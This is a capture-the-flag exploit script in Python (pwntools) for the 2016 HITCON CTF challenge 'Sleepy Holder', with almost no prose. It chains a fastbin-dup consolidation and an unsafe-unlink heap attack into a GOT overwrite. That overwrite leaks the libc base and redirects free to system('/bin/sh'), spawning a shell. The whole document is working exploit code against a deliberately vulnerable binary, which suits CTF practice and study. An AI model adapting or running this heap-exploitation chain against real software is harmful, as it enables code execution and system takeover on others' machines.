2016 HITCON CTF Sleepy Holder

  • fastbin dup consolidate
  • unsafe unlink

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./SleepyHolder')
libc = e.libc
p = process('./SleepyHolder')
big = 0x00000000006020C0
huge = 0x00000000006020C8
small = 0x00000000006020D0
big_chk = 0x00000000006020D8
huge_chk = 0x00000000006020DC
small_chk = 0x00000000006020E0

def keep(chk,data):
	p.sendlineafter('3. Renew secret','1')
	p.sendlineafter('2. Big secret',str(chk))
	p.sendafter(':',data)

def wipe(chk):
	p.sendlineafter('3. Renew secret','2')
	p.sendlineafter('2. Big secret',str(chk))

def renew(chk,data):
	p.sendlineafter('3. Renew secret','3')
	p.sendlineafter('2. Big secret',str(chk))
	p.sendafter(':',data)

keep(1,'AAAA')
keep(2,'BBBB')
wipe(1)
keep(3,'CCCC') # consolidate
wipe(1)

keep(1,p64(0)*2+p64(small-24)+p64(small-16)+p64(0x20)) # fake chunk

wipe(2) # unlink trigger
keep(2,'BBBB')

renew(1,p64(0)+p64(e.got['free']))
renew(2,p64(e.plt['puts']))
renew(1,p64(0)+p64(e.got['puts']))

wipe(2) # free -> puts@plt(puts@got)

puts = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.info(hex(puts))
libc_base = puts - libc.symbols['puts']
log.info(hex(libc_base))

renew(1,p64(0)+p64(e.got['free'])+p64(0)+p64(libc_base + libc.search('/bin/sh\x00').next())+p32(1)*3) # big -> free@got
renew(2,p64(libc_base + libc.symbols['system'])) # free@got -> system

wipe('1') # free(small) = system("/binsh\x00");

p.interactive()